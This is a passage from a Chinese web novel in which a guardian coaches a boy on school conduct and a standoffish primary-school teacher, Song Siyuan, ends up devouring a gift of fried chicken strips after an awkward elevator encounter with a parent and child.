戴青和戴橙愣了愣，接而不约而同笑出声。 谁都希望有人为自己撑腰，何况是个孩子呢。 戴千恩：“我的意思是，你试着遵守一下学校的纪律，比如上课安静听讲不说话，不主动去招惹同学，调皮捣蛋有分寸等等，如果别人挑衅你，你可以尝试着不自己出手，找大人帮忙，比如跟老师说出实情，让老师来解决，如果解决不如意，再沟通，当然，忍不了还是要还手的。” 戴青：“哦，你说的这种啊。” 戴千恩看着他的眼睛，很认真地问：“你能做到吗？” 戴青吃饱喝足，满口答应下来：“没问题。” 戴千恩舒了口气。 没经验当家长不容易啊，还好他有奶奶这个好榜样。 他现在只是照葫芦画瓢而已。 * 宋思源住在20栋1102，他住在顶楼，和18栋并排着，中间隔着绿化带。 他拿着炸鸡柳上了电梯，电梯里一对母子，看校服是边江小学的学生，门开时男孩正吵着要吃炸鸡柳，宋思源正好带着一股炸鸡柳的气味进电梯。 小孩哥：“……”酷刑。 宋思源不认识这个学生，但这学生认识他，边江小学就没有人不认识他。 男孩盯着宋思源手中的炸鸡柳，吞了下口水之后，怯生生地叫人：“宋老师好。” 宋思源点了下头不咸不淡没什么爱心地回应：“你好。” 家长看到他冷淡的样子，打招呼的欲望都没了，但毕竟是老师，还是要客气一下。 家长笑笑：“宋老师好。” 宋思源面瘫脸：“家长你好。” 家长：“……” 电梯里很安静，显得炸肉的香味更加强势诱人，还显得小男孩的吞咽声过于清晰。 小男孩终于憋不住，吵吵嚷嚷道：“你看，老师都吃炸鸡柳，我为什么不能吃。” “那是老师拿去喂狗的，”家长偷偷朝宋思源使眼色，“是吧宋老师。” 宋思源看了眼白白胖胖的小男孩，配合地点了下头：“对，给狗吃。” 小男孩小声哀嚎：“宋老师家的狗吃得也太好了吧！” 宋思源：“……” 家长其实很想让宋思源说一些吃垃圾食品不健康之类的话，毕竟小孩子都听老师的。 但看到他高高挂起事不关己的样子，只能主动出击了。 家长：“总是吃这种油炸垃圾食品对身体不好，会越来越笨，不信你问宋老师，是不是啊宋老师。” 小男孩抬头看向宋思源。 被强行拉入群聊的宋思源直击胖男孩痛点：“会变更胖。” 他冷着脸着重强调“更”，完全没有小学老师的亲和力。 小男孩白白胖胖的脸抖了抖，看起来是相当介意“胖”这个字的。 家长：“……” 电梯到了，宋思源走出电梯，给电梯里的母子留一个冷酷的背影和炸鸡柳的余味。 家长心想，这老师一定经常被投诉。 经常被投诉的宋老师回到家，正要把手里的这一袋油炸垃圾食品扔进垃圾桶，想到电梯里小朋友眼馋的样子，又想到戴青家长跑上跑下气喘吁吁一脸真诚，想着就这么扔了不合适。 宋思源拆了纸袋子，浓郁的肉香扑鼻而来，很勾人食欲，里面还有两个小保鲜袋，里面装着些粉末，看起来像味碟。 还有两个用透明盒子装起来的巧克力球。 唾液腺一向不理智，只尊重本能，宋思源也不由自主吞了吞口水。 真有这么好吃？ 想到戴千恩是云禾小饭馆的厨子，他吃了一个多月云禾小饭馆的外卖，这人厨艺肯定是过关的。 那就尝尝吧。 宋思源手探向纸袋，拿了一根鸡柳尝了一口。 鸡柳外酥里嫩，咬开酥脆的裹粉层，里面的肉条瘦而不柴，咀嚼了下还流出汁水，中和了煎炸过后的油腻，口感层次丰富，满嘴留香。 宋思源吃完了一根，顿了顿，又吃了一根。 然后一根接着一根。 还怪好吃的。 他忽然想起小时候，大哥偷偷带着他去街边的炸鸡柳铺子买炸鸡柳吃，结果吃完上吐下泻，吊完水之后两人被外公胖揍一顿。 宋思源忍不住勾了勾唇。 等指尖触碰到纸袋底部，宋思源探头一看，袋子只剩一根鸡柳和两袋干粉蘸料。 他皱了下眉，低头看了眼油亮的指尖，无法相信他居然吃了那么多油炸垃圾食品。 甚至连蘸料都没打开。 他将纸袋子揉了揉，准备仍垃圾桶时，抓到袋子里还有一根鸡柳，他顿了顿，又将袋子展开，拿出最后一根鸡柳，再打开蘸料蘸上，放进嘴里。 好脆，好吃，蘸料好香。 他扔了袋子，踏上了跑步机，吃了这么多的炸鸡柳，至少要跑两小时。 晚饭也不用吃了。 跑完步，他去冰箱拿点水喝，路过餐桌看到那两个巧克力大福。 宋思源仔细端详这两颗巧克力大福，慢条斯理地重复苏圆圆的话：“他还会做巧克力脆皮开心果大福。” 最近很火？能有多好吃。